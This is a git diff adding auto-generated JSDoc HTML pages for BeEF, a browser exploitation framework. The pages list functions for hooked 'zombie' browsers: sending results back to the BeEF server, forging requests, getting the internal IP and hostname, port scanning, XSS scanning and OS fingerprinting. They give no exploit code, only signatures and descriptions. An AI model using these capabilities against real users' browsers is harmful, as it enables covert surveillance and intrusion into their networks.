Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) command()

+ + + + + + +
+

Command object. This represents the data to be sent back to BeEF, +using the beef.net.send() method.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) flush()

+ + + + + + +
+

Flush all currently queued command results to the framework, +chopping the data in chunks ('chunk' method) which will be re-assembled +server-side by the network stack. +NOTE: currently 'flush' is used only with the default +XHR-polling mechanism. If WebSockets are used, the data is sent +back to BeEF straight away.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) forge_request()

+ + + + + + +
+

Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:

+
    +
  • requestid: needed on the callback
  • +
  • allowCrossDomain: set cross-domain requests as allowed or blocked
  • +
+

forge_request is used mainly by the Requester and Tunneling Proxy Extensions. +Example usage: +beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz", +true, null, { foo: "bar" }, 5, 'html', false, null, function(response) { +alert(response.response_body)})

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) is_valid_ip()

+ + + + + + +
+

Checks if the specified IP address is valid

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) is_valid_ip_range()

+ + + + + + +
+

Checks if the specified IP address range is valid

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) is_valid_port()

+ + + + + + +
+

Checks if the specified port is valid

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) packet()

+ + + + + + +
+

Packet object. A single chunk of data. X packets -> 1 stream

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) push(stream)

+ + + + + + +
+

Push the input stream back to the BeEF server-side components. +It uses beef.net.request to send back the data.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
stream + + +Object + + + +

the stream object to be sent back.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) queue(handler, cid, results, status, callback)

+ + + + + + +
+

Queues the specified command results.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
handler + + +String + + + +

the server-side handler that will be called

cid + + +Integer + + + +

command id

results + + +String + + + +

the data to send

status + + +Integer + + + +

the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')

callback + + +function + + + +

the function to call after execution

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) request(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) → {Object}

+ + + + + + +
+

Performs http requests

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
scheme + + +String + + + +

HTTP or HTTPS

method + + +String + + + +

GET or POST

domain + + +String + + + +

bindshell.net, 192.168.3.4, etc

port + + +Int + + + +

80, 5900, etc

path + + +String + + + +

/path/to/resource

anchor + + +String + + + +

this is the value that comes after the # in the URL

data + + +String + + + +

This will be used as the query string for a GET or post data for a POST

timeout + + +Int + + + +

timeout the request after N seconds

dataType + + +String + + + +

specify the data return type expected (ie text/html/script)

callback + + +function + + + +

call the callback function at the completion of the method

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

this object contains the response details

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) response()

+ + + + + + +
+

Response Object - used in the beef.net.request callback +NOTE: as we are using async mode, the response object will be empty if returned. +Using sync mode, request obj fields will be populated.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) send(handler, cid, results, exec_status, callback) → {Integer}

+ + + + + + +
+

Queues the current command results and flushes the queue straight away. +NOTE: Always send Browser Fingerprinting results +(beef.net.browser_details(); -> /init handler) using normal XHR-polling, +even if WebSockets are enabled.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
handler + + +String + + + +

the server-side handler that will be called

cid + + +Integer + + + +

command id

results + + +String + + + +

the data to send

exec_status + + +Integer + + + +

the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')

callback + + +function + + + +

the function to call after execution

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the command module execution status (defaults to 0 - 'unknown' if status is null)

+
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + + + + + +

(static) stream()

+ + + + + + +
+

Stream object. Contains X packets, which are command result chunks.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.local.html b/docs/beef.net.local.html new file mode 100644 index 000000000..578f21cb3 --- /dev/null +++ b/docs/beef.net.local.html @@ -0,0 +1,449 @@ + + + + + JSDoc: Namespace: local + + + + + + + + + + +
+ +

Namespace: local

+ + + + + + +
+ +
+ +

+ .net.local

+ + +
+ +
+
+ + +

Provides networking functions for the local/internal network of the zombie.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getLocalAddress() → {String}

+ + + + + + +
+

Returns the internal IP address of the zombie.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the internal ip of the zombie.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getLocalHostname() → {String}

+ + + + + + +
+

Returns the internal hostname of the zombie.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the internal hostname of the zombie.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) initializeSocket()

+ + + + + + +
+

Initializes the java socket. We have to use this method because +some browsers do not have java installed or it is not accessible. +in which case creating a socket directly generates an error. So this code +is invalid: +sock: new java.net.Socket();

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.portscanner.html b/docs/beef.net.portscanner.html new file mode 100644 index 000000000..246bb366d --- /dev/null +++ b/docs/beef.net.portscanner.html @@ -0,0 +1,504 @@ + + + + + JSDoc: Namespace: portscanner + + + + + + + + + + +
+ +

Namespace: portscanner

+ + + + + + +
+ +
+ +

+ .net.portscanner

+ + +
+ +
+
+ + +

Provides port scanning functions for the zombie. A mod of pdp's scanner

+

Version: '0.1', +author: 'Petko Petkov', +homepage: 'http://www.gnucitizen.org'

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) scanPort(callback, target, port, timeout)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
callback + +
target + +
port + +
timeout + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) scanTarget(callback, target, ports_str, timeout)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
callback + +
target + +
ports_str + +
timeout + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.requester.html b/docs/beef.net.requester.html new file mode 100644 index 000000000..b0c1b1d04 --- /dev/null +++ b/docs/beef.net.requester.html @@ -0,0 +1,277 @@ + + + + + JSDoc: Namespace: requester + + + + + + + + + + +
+ +

Namespace: requester

+ + + + + + +
+ +
+ +

+ .net.requester

+ + +
+ +
+
+ + +

request object structure:

+
    +
  • method: {String} HTTP method to use (GET or POST).
  • +
  • host: {String} hostname
  • +
  • query_string: {String} The query string is a part of the URL which is passed to the program.
  • +
  • uri: {String} The URI syntax consists of a URI scheme name.
  • +
  • headers: {Array} contain the operating parameters of the HTTP request.
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) send(requests_array)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
requests_array + + +array + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.xssrays.html b/docs/beef.net.xssrays.html new file mode 100644 index 000000000..15153859a --- /dev/null +++ b/docs/beef.net.xssrays.html @@ -0,0 +1,773 @@ + + + + + JSDoc: Namespace: xssrays + + + + + + + + + + +
+ +

Namespace: xssrays

+ + + + + + +
+ +
+ +

+ .net.xssrays

+ + +
+ +
+
+ + +

XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru' +The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore), +if the vulnerability is triggered the JS code vector will contact back BeEF. +Other aspects of the original code have been simplified and improved.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) checkBrowser(vector_array_index)

+ + + + + + +
+

return true is the attack vector can be launched to the current browser type.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
vector_array_index + + +array + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) run(url, method, vector, params, urlencode)

+ + + + + + +
+

this is the main core function with the detection mechanisms...

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
url + +
method + +
vector + +
params + +
urlencode + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) runJobs()

+ + + + + + +
+

run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) startScan(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout)

+ + + + + + +
+

main function, where all starts :-)

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
xssraysScanId + +
hookedBrowserSession + +
beefUrl + +
crossDomain + +
timeout + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.os.html b/docs/beef.os.html new file mode 100644 index 000000000..a4ceb4915 --- /dev/null +++ b/docs/beef.os.html @@ -0,0 +1,4198 @@ + + + + + JSDoc: Namespace: os + + + + + + + + + + +
+ +

Namespace: os

+ + + + + + +
+ +
+ +

os

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getArch()

+ + + + + + +
+

Get OS architecture. +This may not be the same as the browser arch or CPU arch. +ie, 32bit OS on 64bit hardware

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getDefaultBrowser() → {string}

+ + + + + + +
+

Detect default browser (IE only) +Written by unsticky +http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) getFamily()

+ + + + + + +
+

Get OS family

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getName() → {string}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) getVersion() → {string}

+ + + + + + +
+

Get OS name

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) isAndroid() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isAros() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isBeOS() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isBlackBerry() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isIpad() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isIphone() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isIpod() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isLinux() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isMacintosh() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isNokia() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOpenBSD() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxLeopard() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxMavericks() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxSnowLeopard() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxYosemite() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isQNX() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isSunOS() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWebOS() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin7() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin8() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin10() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin81() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin95() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin98() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin311() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin2000() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin2000SP1() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinCE() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWindows() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinME() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinNT4() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinPhone() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinServer2003() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinVista() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinXP() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.session.html b/docs/beef.session.html new file mode 100644 index 000000000..c5a9647c5 --- /dev/null +++ b/docs/beef.session.html @@ -0,0 +1,400 @@ + + + + + JSDoc: Namespace: session + + + + + + + + + + +
+ +

Namespace: session

+ + + + + + +
+ +
+ +

session

+ + +
+ +
+
+ + +

Provides basic session functions.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) gen_hook_session_id()

+ + + + + + +
+

Generates a random string using the chars in hook_session_id_chars.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_hook_session_id()

+ + + + + + +
+

Gets a string which will be used to identify the hooked browser session

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) set_hook_session_id()

+ + + + + + +
+

Sets a string which will be used to identify the hooked browser session

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.timeout.html b/docs/beef.timeout.html new file mode 100644 index 000000000..2f5c566a7 --- /dev/null +++ b/docs/beef.timeout.html @@ -0,0 +1,226 @@ + + + + + JSDoc: Namespace: timeout + + + + + + + + + + +
+ +

Namespace: timeout

+ + + + + + +
+ +
+ +

timeout

+ + +
+ +
+
+ + +

Sometimes there are timing issues and looks like beef_init +is not called at all (always in cross-origin situations, +for example calling the hook with jquery getScript, +or sometimes with event handler injections).

+

To fix this, we call again beef_init after 1 second. +Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece +antisnatchor

+ + + + + +
